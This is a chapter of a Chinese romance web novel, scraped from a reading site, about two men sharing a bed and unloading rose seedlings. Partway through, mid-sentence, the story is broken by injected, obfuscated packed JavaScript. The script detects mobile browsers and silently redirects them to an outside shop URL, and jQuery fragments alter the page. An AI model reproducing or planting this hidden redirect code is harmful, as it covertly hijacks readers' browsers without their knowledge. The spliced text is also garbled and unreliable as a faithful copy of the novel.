默认冷灰
24号文字
方正启体

11. 第 11 章

作者:盛眠本书字数:K更新时间:
    乔明熙把目光收回来,盯着那处伤口。


    结了血痂,边缘有点红肿。这伤他知道。但他没仔细看过伤以外的部分。


    捡到贺涧山那天,他还是太老实了。


    贺涧山见乔明熙迟迟不开始,问,“你在看什么?”


    “别动,你别影响我。”乔明熙嘴上厉害,脸偷偷红了。


    贺涧山看着那抹红延伸至耳根,眼睛微微眯起。


    乔明熙手指沾着药膏抹上伤口,贺涧山肩膀绷了一下。


    他大概知道乔明熙为什么耳朵红了。


    乔明熙手掌时不时贴上去,那触感比他想象的还要烫一点,能感受到胸肌的起伏与凹陷。


    尤其是贺涧山吸气的时候,胸膛向上顶起,厚实的肌肉挨着他掌心。


    “好了吗?”贺涧山声音有点哑。


    “嗯。”


    伤口不深,又恢复得差不多了,乔明熙没有机会摸太多。


    贺涧山这个传统的男人很快把衣服穿的严严实实。


    乔明熙有点无语地看了他一眼。


    他oversize的T恤穿在贺涧山身上还有点小,紧贴着他的肩背,胸肌鼓鼓囊囊。


    穿好衣服,贺涧山见他还在:“还有事吗?”


    这话听着就像赶人。


    乔明熙今天已经被赶了三次了!


    他语气硬起来,“告诉你要知恩图报你懂不懂!我刚给你擦完药你就赶我走。”


    贺涧山慢慢说:“不早了,医生说你不能睡太晚,睡眠不好对你身体也不好。”


    乔明熙嚣张的气焰熄了火。


    奇怪了,他现在怎么和贺涧山吵不起来了。


    “一个人睡太冷了,贺涧山,你陪我睡吧。”


    贺涧山有一瞬震惊,又想到乔明熙平常娇气的做派,淡声回:“两个人睡不方便。”


    “可是我冷!”乔明熙伸出脚贴在贺涧山肚子上,脚心在八块腹肌上蹭了蹭,“你看,我脚多冰啊。”


    确实很冰。


    而贺涧山很热。


    冷热相撞,贺涧山下腹都不禁跳了跳,侧腰的茎也崩尽。


    他捏住乔明熙的脚踝,挪开。


    乔明熙又贴上来,“行不行,行不行,你说了会听我的。”


    T恤本就薄,贺涧山刚洗完澡,血液循环加快,身体燥热....


    “好,睡吧。”他语气很急,像是希望乔明熙快点老实睡觉一样。


    乔明熙又不干了,“你这床我不要,不舒服,你陪我上楼,去我的房间睡。”


    “好。”贺涧山没招了。


    “你背我上去。”


    ......


    乔明熙趴在贺涧山背上,心情颇好地哼歌儿,“贺涧山,其实你人挺好的,嘿嘿。”


    虽说贺涧山爱教训他吧,但他提的要求,贺涧山几乎都会满足。


    贺涧山没应他,把他放到床上,“睡吧,不早了。”


    乔明熙说冷是假的,他开着地暖呢。


    但身边有个温度正好的暖炉,这感觉和机械取暖可不一样。


    被窝里整个都暖烘烘的。


    不会半夜睡到一半,不小心摸到另外一半床单就被冰醒。


    乔明熙把脚贴到贺涧山肚子上,姿势像个起跳的袋鼠,“贺涧山,快给我暖暖脚,我冷死了。”


    他舒舒服服地贴着不算,脚尖还要挑开贺涧山的衣服,往里面钻。


    贺涧山捏住他的脚踝,往自己这边一拉,双腿将乔明熙的脚夹住,“好好睡觉!”


    乔明熙巴不得贴着呢,他双手顺势勾住贺涧山的脖子,“手也冷,贺涧山,我手也冷,给我捂捂。”


    贺涧山:“冷归冷,有必要贴这么紧吗?”


    “诶呀,快睡快睡,不早了。”乔明熙闭上眼睛,拒绝沟通。


    贺涧山一整夜都将手紧紧搭在自己腰上,不敢碰乔明熙分毫。


    虽说都是男人,但这姿势,着实太亲近了些。


    第二天一早,贺涧山想翻身起床,胳膊下圈着乔明熙的脑袋。


    他一动,乔明熙皱了皱眉,没醒,脑袋往他怀里拱了拱,找了个更舒服的位置,又不动了。


    睡着了也那么挑剔。


    贺涧山低头看。


    乔明熙的脸埋在他胸口和枕头之间,只露出半边。额头抵着他的侧胸,头发蹭得乱糟糟的,几缕碎发遮着眼皮。


    呼吸很轻很慢,鼻尖抵着他的皮肤,呼气的时候有一点点热,吸气的时候又凉凉的。


    贺涧山就这么看着,睡着的乔明熙和醒着时差距太大。


    清醒的时候,乔明熙骄纵蛮横,随时都神气得不行。


    动不动就跳脚。


    爱漂亮又挑剔,在家也要经常照镜子,嘟囔发型乱了。


    这会儿睡着了倒是乖,阖着眼,眉头舒展着,嘴巴微微张开,脸被压得有点变形。


    黑黑的两排睫毛盖在下眼睑上,偶尔轻轻颤一下。


    眼周有一点点青。皮肤白,这点青就格外明显,像宣纸上洇开的淡墨。


    脸颊红扑扑的,不是发烧那样的潮红,是一种很健康的粉色,从白皙的肌肤里透出来。


    病气都去了几分。


    算了,他想一起睡就一起睡吧,他健康就行。


    贺涧山想着,轻手轻脚地起床。


    刚坐起来,乔明熙唔一声,“贺涧山。”


    贺涧山回头替他掖好被角,“睡吧,我去做早餐。”


    乔明熙半睁开眼皮,看了他一眼,又闭上。


    “懒猪。”贺涧山笑了。


    他把红豆沙煮热,放了点陈皮,冰糖。


    又蒸了鸡蛋羹,放上葱花,淋上香油,上去叫乔明熙起床。


    他已经做好准备,乔明熙又要耍赖让他背。


    没想到乔明熙很乖地自己换好衣服,洗漱,坐在桌边一口接一口的吃饭。


    贺涧山狐疑地看着他。


    乔明熙:“干嘛这样看我?”


    “你今天怎么不作妖?”


    乔明熙瞪他一眼,“你就缺我骂你呗。”


    贺涧山笑着摇头,“算我怕了你,好好吃饭吧。”


    饭还没吃完,庭院外传来汽车滴滴声,乔明熙勺子一扔,从椅子上跳起来,往外跑。


    陈皮红豆沙溅出几滴在原木色桌面。


    白色勺子在碗沿打晃。


    贺涧山看着勺子尾巴摇了摇头,跟着出去。


    “蔡老板,你好早呀。”


    今天出了一点太阳,乔明熙手挡在眉骨上指


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432277|200936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间缝隙漏出小片光斑,在他眼下明明灭灭,他仰头笑开了,露出一排小牙齿,白得发光晃眼,比阳光还明媚耀眼。


    “我晚一点你不得打二十个电话催我。”蔡老板从箱式货车上跳下来,打开后车厢的门,“你要的玫瑰。”


    五百盆玫瑰苗,一排排堆在车厢内,十盆一排,垒起来快和乔明熙一样高。


    乔明熙咽了口口水,笑容就这么淡了下去,眉头一点一点皱起来。


    贺涧山从后面走上前,“搬吧。”


    他好像走出手术室的医生和家人说:死了。


    乔明熙嘴巴动了动,想说什么。


    贺涧山道:“动手啊。”


    乔明熙一瞬间闪过许多想法,比如说请人,但是他不想见到别人,有其他人在会更加渴望与贺涧山的贴贴。


    或者让贺涧山一个人搬,但是这也太不干人事儿了。


    他认命地向上伸出双手,接下蔡老板在车厢内递下来的玫瑰花盆。


    花盆上沾了泥,乔明熙白皙干净的手背手指很快被抹上土色。


    贺涧山最先是一口气搬两盆,然后是四盆,六盆。


    他搬得很快,但是在五百盆玫瑰花前,也是杯水车薪。


    乔明熙一次搬两盆,来回走两趟就累的气喘嘘嘘。


    汗水打湿额发,流到通红的脸颊,


    他用手抹了一把,白里透红的肌肤上又沾染了一抹灰。


    他眉头紧皱,嘴巴抿成一条线,很累,有点不高兴,但什么都没说。


    贺涧山也出了许多汗,汗水顺着脖子往下淌,侧颈的青筋都暴起来了。


    袖子整齐卷到手肘,露出的半截小臂上肌肉鼓着,汗涔涔的,像抹了层油


    他一手提四盆玫瑰,从后车厢走到玻璃花房,弯腰撂下时,眉间汗水滴到花叶上。


    乔明熙噘着嘴拍手上灰尘。花盆上的砂石硌得他手疼。贺涧山走过的来,给他戴上白手套,“你还能搬吗?”


    “当然了,看不起谁呢。”乔明熙眼神炯炯瞪着贺涧山。


    等贺涧山一转头,立马苦着脸锤大腿,好酸啊.....


    但花是他非要买的,不争馒头争口气。


    蔡老板笑嘻嘻打趣他,“就和你说多了,你不信,怎么样,小老板,能不能养活啊。”


    “我当然可以!”乔明熙气鼓鼓抱两盆玫瑰走了。


    都看不起他!


    蔡老板也是,都合作那么多年了,怎么能帮着贺涧山说话。


    乔明熙双腿软得打颤,手臂上举的时候肩关节钻筋的胀痛,两条胳膊筛糠似的抖。


    蔡老板对乔明熙也有几分了解,“小老板,你要不要歇会儿?”


    乔明熙咬紧牙关,“用不着,区区五百盆,几分钟的事儿。”


    “你可别逞强啊,后面养护还是大工程呢。”蔡老板好心提醒他。


    乔明熙心都快碎了。


    他比任何人都清楚,养护比搬运更难,施肥浇水剪枝去虫......


    他可能不需要贺涧山治病了,因为在病死前,已经因为照顾玫瑰花累死了。


    贺涧山还在沉默而尽责地搬玫瑰花,车厢内还剩三分之二没搬。


    乔明熙实在受不了,问贺涧山:“贺涧山,你想喝水不?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)